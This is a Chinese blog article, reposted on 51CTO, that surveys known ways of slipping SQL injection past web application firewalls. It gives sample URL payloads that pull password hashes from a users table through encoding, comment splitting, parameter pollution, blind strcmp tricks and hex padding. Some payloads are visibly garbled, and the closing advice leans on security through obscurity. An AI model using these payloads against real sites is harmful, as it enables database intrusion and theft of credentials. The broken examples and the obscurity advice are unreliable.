看牛人怎么突破WAF防御

安全 应用安全
当所有的系统安全防御做好后,剩下恐怕就是SQL注入,跨站攻击等等web应用层防御了,这也是广大站长最困扰的东东了,几日前写的“安全宝构架技术猜测与高级网络安全防御”讲解了一种最简单的高性能防御方方法,根据自己的情况稍微修改下,就可以应付大部分的攻击了,可是就万事大吉了吗?

当所有的系统安全防御做好后,剩下恐怕就是SQL注入,跨站攻击等等web应用层防御了,这也是广大站长最困扰的东东了,几日前写的“安全宝构架技术猜测与高级网络安全防御”讲解了一种最简单的高性能防御方方法,根据自己的情况稍微修改下,就可以应付大部分的攻击了,可是就万事大吉了吗?

首先我们回顾下网上牛人是怎么突破waf防御:

1.大小写绕过

这个大家都很熟悉,对于一些太垃圾的WAF效果显著,比如拦截了union,那就使用UnionUnIoN等等绕过。

2.简单编码绕过

比如WAF检测关键字,那么我们让他检测不到就可以了。比如检测union,那么我们就用U也就是U的16进制编码来代替U,union写成UnION,结合大小写也可以绕过一些WAF,你可以随意替换一个或几个都可以。

也还有大家在Mysql注入中比如表名或是load文件的时候,会把文件名或是表明用16进制编码来绕过WAF都是属于这类。

3.注释绕过

这种情况比较少,适用于WAF只是过滤了一次危险的语句,而没有阻断我们的整个查询。

01./?id=1+union+select+1,2,3unionselect+1,2,31,2,3,4…

可以看到,只要我们把敏感词放到注释里面,注意,前面要加一个!

4.分隔重写绕过

还是上面的例子,适用于那种WAF采用了正则表达式的情况,会检测所有的敏感字,而不在乎你写在哪里,有几个就过滤几个。

我们可以通过注释分开敏感字,这样WAF的正则不起作用了,而带入查询的时候并不影响我们的结果。

01./?id=1+union+select+1,2,3--

至于重写绕过,适用于WAF过滤了一次的情况,和我们上传aaspsp马的原理一样,我们可以写出类似Ununionion这样的。过滤一次union后就会执行我们的查询了。

01.?id=1ununionionselect1,2,3--

5.Http参数污染(HPP)

比如我们有这样的语句:

01./?id=1unionselect+1,2,3+from+users+where+id=1--

我们可以重复一次前面的id值添加我们的值来绕过,&id=会在查询时变成逗号:

01./?id=1unionselect+1&id=2,3+from+users+where+id=1--

这种情况成功的条件比较多,取决于具体的WAF实现。

再给出一个例子说明用法:

01./?id=1unionselectpwdfromusers--

具体分析的话就涉及到查询语句的后台代码的编写了。

比如服务器是这样写的:

01.select*fromtablewherea=".$_GET['a']."andb=".$_GET['b']."limit".$_GET['c'];

那我们可以构造这样的注入语句:

01./?a=1+unionselect+1,passfrom+users--

最终解析为:

01.select*fromtablewherea=1unionselect1,passfromusers--

可以看到,这种方式其实比较适合白盒测试,而对于黑盒渗透的话,用起来比较麻烦。但是也可以一试。

#p#

6.使用逻辑运算符or/and绕过

01./?id=1+OR+0x50=0x50

02./?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74

顺便解释一下第二句话,从最里面的括号开始分析,select+pwd+from+users+limit+1,1这句是从users表里查询pwd字段的第一条记录,比如是admin,

然后mid(上一句),1,1就是取admin的第一个字符,也就是a,

lower(上一句)就是把字符转换为小写,

然后ascii就是把a转换成ascii码,看等不等于74。

7.比较操作符替换

包括!=不等于,<>不等于,<小于,>大于,这些都可以用来替换=来绕过。

比如上一个例子,要判断是不是74,假设=被过滤,那么我们可以判断是不是大于73,是不是小于75,然后就知道是74了。。很多WAF都会忘了这个。

8.同功能函数替换

Substring()可以用mid(),substr()这些函数来替换,都是用来取字符串的某一位字符的。

Ascii()编码可以用hex(),bin(),也就是16进制和二进制编码替换。Benchmark()可以用sleep()来替换,这两个使用在基于延时的盲注中,有机会给大家介绍。

如果连这些都屏蔽了,还有一种新的方法:

01.substring((select'password'),1,1)=0x70

02.substr((select'password'),1,1)=0x70

03.mid((select'password'),1,1)=0x70

比如这三条,都是从password里判断第一个字符的值,可以用:

01.strcmp(left('password',1),0x69)=1

02.strcmp(left('password',1),0x70)=0

03.strcmp(left('password',1),0x71)=-1

来替换,left用来取字符串左起1位的值,strcmp用来比较两个值,如果比较结果相等就为0,左边小的话就为-1,否则为1。

还有我前几篇说过的group_concat和concat和concat_ws也可以互相替换。

9.盲注无需or和and

比如有这样一个注入点:

01.index.php?uid=123

and、or被过滤了,其实有一种更直接的方法,我们直接修改123为我们的语句生成的:

01.index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)+123

123的时候页面是正确的,我们现在在盲猜hash的第一位,如果第一位等于0x42也就是B,那么strcmp结果为0,0+123=123,所以页面应该是正确的。否则就说明不是B,就这样猜,不用and和or了。

10.加括号

01./?id=1+union+(select+1,2+from+users)

比如,上面这一条被WAF拦截了。可以试试加一些括号:

01./?id=1+union+(select+1,2+from+xxx)

02./?id=(1)union(select(1),mid(hash,1,32)from(users))

03./?id=1+union+(select'1',concat(login,hash)from+users)

04./?id=(1)union(((((((select(1),hex(hash)from(users))))))))

05./?id=(1)or(0x50=0x50)

11.缓冲区溢出绕过

这个是从国外一个博客看到的:

01.id=1and(select1)=(Select0xAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),

8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

02.,27,28,29,30,31,32,33,34,35,36–+

其中0xAAAAAAAAAAAAAAAAAAAAA这里A越多越好,一般要求1000个以上。

以上就是网上盛传的突破方法,本人没时间去试,也不想去试,这里有一个问题,为什么会有千千万万个漏洞,攻击方法,防不胜防,有没有一个根本的方法解决所有已知,未知的漏洞攻击呢?

#p#

其实归根到底,我们用的linuxwinmysql等等都是别人开发的,不是自己的东西,开源的好处就是你可以用,但是你不好保密!所以要解决问题,还得从软件,系统的开发开始,哪怕简单的二次开发都可以防御很多攻击:

1,假如自己能对mysql进行二次开发,把所有的selectunion命令简单的改名,改成没有人知道的只有你自己知道的名字,你用担心sql注入吗?

2,假如自己对mysql进行二次开发,改变sql标准,逻辑,你还怕orand注入吗?

3,假如自己定义一套自己的开发语言,不用什么cphp你还怕什么益处吗?

4,大规模定制改造linux把所有的命令,系统调用经行二次开发,你还怕黑客入侵吗?人家连ls命令都不知道怎么弄!

虽然有违开源精神,但是现在很多的闭源软件,防火墙早就这么干了,说白了,保密的东东,最安全,自己创造的东东,才是最可靠的,毕竟你可以随意定制更改,随意扩展开发!当然如果没有这个技术条件我们可以这么做,让黑客崩溃到底!

1,完全抛弃mysqlmongodb等有sql注入风险的数据库,采用redis或其他简单的能满足你当前业务的nosql数据库,实在要逻辑,要什么触发功能,请用luaphp实现,清除所有无用的功能,就和linux权限一样颗粒化一切,不要的,无用的统统丢掉,一个不剩!

2,对当前采用linux系统nginxapache等等,全部进行源代码简单修改,核心功能算法不能更改,我们就不能更改命令名称,用户ui接口?打个比方把mysql的select命令和各种对应的编码调用名称改掉,哪里来的sql注入呢?

好了,希望大家参考就好,千万不要把系统改的面目全非,连自己都用不了,支持开源,不要仅仅停留在使用层,我们还是要努力成为开源软件开发者,或者多提出自己的创新建议,任何事情不要盲目去跟风,人家用,你也取用,够用就好是一种简单而高深的哲学。

(本文出自 “清蒸BSD红烧LINUX” 博客,转载请务必保留此出处http://cookingbsd.blog.51cto.com/5404439/1196198)

 

责任编辑:吴玮 来源: 51CTO.com
相关推荐

2013-05-22 18:20:18

2014-12-16 10:23:59

2013-05-22 18:06:41

2013-05-22 17:43:21

2013-05-22 18:32:57

2010-09-16 20:54:21

2009-03-11 17:04:53

2023-12-03 21:52:20

2011-05-17 09:36:57

div+css

2015-10-08 10:46:46

技术牛人管理牛人

2022-06-30 11:03:27

DDoS攻击WAF

2015-12-16 13:38:06

WiFi路由器

2018-08-02 15:36:08

2022-06-30 08:55:15

DDoSWAF网络攻击

2010-09-08 17:27:10

2021-04-16 10:32:28

蜜罐网络安全

2015-08-05 11:32:10

2012-05-22 16:52:02

编程语言

2018-10-22 09:30:09

瑞数信息WAFRiver Safep

2009-11-20 16:28:19

点赞
收藏

51CTO技术栈公众号